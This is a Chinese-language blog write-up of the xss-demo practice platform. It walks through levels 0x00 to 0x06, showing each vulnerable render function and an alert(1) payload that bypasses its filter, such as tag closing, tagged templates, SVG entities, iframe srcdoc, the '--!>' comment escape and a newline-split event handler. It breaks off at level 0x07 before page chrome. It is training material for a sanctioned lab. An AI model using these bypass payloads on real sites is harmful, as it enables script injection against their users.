XSS挑战平台

xss练习

项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
自带alert(1)的js地址:https://xss.haozi.me/j.js

题解:

0x00
没有丝毫的过滤措施,且最后的输出位置在

标签中,所以很简单,随便甩一个xss payload

function render (input) {
  return '<div>' + input + '</div>'
}

<script>alert(1)</script>
0x01
0x01和0x00不同的地方在于这里xss插入的位置在于标签中。

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

闭合标签,再构造xss语句
</textarea><script>alert(1)</script>

0x02
这题xss的引入位置在标签,且在value的位置。

function render (input) {
  return '<input type="name" value="' + input + '">'
}

闭合标签,再构造xss语句
"><script>alert(1)</script>"

0x03
0x03中代码主要的作用就是将()替换成为空字符。

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这里其实我们可以使用模版字符串来绕过。在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。
<script>alert1</script>

0x04

function render (input) {
   
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

从代码中来看,过滤了()和反引号,所以这里构造xss的话可以使用<svg>标签,<svg>标签中可以直接执行实体字符。
<svg><script>alert&#40;1&#41;</script>

又或者可以H5中iframe的特点,因为h5中iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。
<iframe srcdoc="<script>alert&#40;1&#41;</script>">

0x05

function render (input) {
   
  input = input.replace(/-->/g, '笑脸')
  return '<!-- ' + input + ' -->'
}

这里将html的–>注释符替换成笑脸,并输出在html的注释中。
html注释支持以下两种方式:

<!-- xxx -->
<!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>

所以payload如下:
--!><script>alert(1)</script>

0x06

function render (input) {
   
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${
   input} type="text">`
}

过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查

onmousemove
=alert(1)

0x07

function render (input) {
   
 
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值